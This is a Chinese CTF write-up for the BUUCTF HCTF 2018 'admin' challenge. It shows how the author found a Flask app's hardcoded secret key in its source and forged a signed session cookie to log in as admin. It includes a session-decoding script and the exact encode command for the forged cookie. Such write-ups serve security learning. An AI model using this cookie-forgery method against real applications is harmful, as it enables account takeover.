打开页面源码

发现有2个页面login,register

本来想试试二次注入,发现没成功,登录进我创建的admin--+后,来到change密码部分,查看源码

打开这个链接【Flask 是一个用 Python 写的轻量级 Web 框架】

结果发现链接失效了,找到了别人的链接

https://github.com/greenhand011/BUUCTF--HCTF-2018-admin1

打开这个链接,下载源码

在模板里看到这个

xxxxxxxxx 在这里显然是占位符

F1: flask session 伪造

对于flask session伪造的详细介绍在

 Python Web之flask session(小白友好)-CSDN博客

 flask session存储在本地的cookie,因此可以尝试进行伪造。且flask仅仅对session数据进行了签名。即通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割。我们可以用脚本读出session内容

脚本如下

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
 
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
 
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
 
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
 
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
 
    return session_json_serializer.loads(payload)
 
if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))   

拿我们的session

运行脚本解密

看到name:admin--+,我们想把他变成name:admin也就是要伪造session

那我们就需要密钥

在config.py里发现了密钥

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

用GitHub的这个脚本来生成session

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'6c6ee5c5e5481609a0bda2e0166f6222eb130b376757195d1ae5f36f56a5cd9187b53057c3c3ede7133187cbd197f1b041afdfd0939e193e8faa2e2cb2d03ad0', 'csrf_token': b'64be5f3fba114bcbb6f35b892617da7eb796aa7e', 'image': b'8J79', 'name': 'admin', 'user_id': '10'}"

更换我们的session

这位佬还有几种解法,写的很详细,大家可以去看

BUUCTF-[HCTF 2018]admin1_[hctf 2018]admin 1-CSDN博客

更多推荐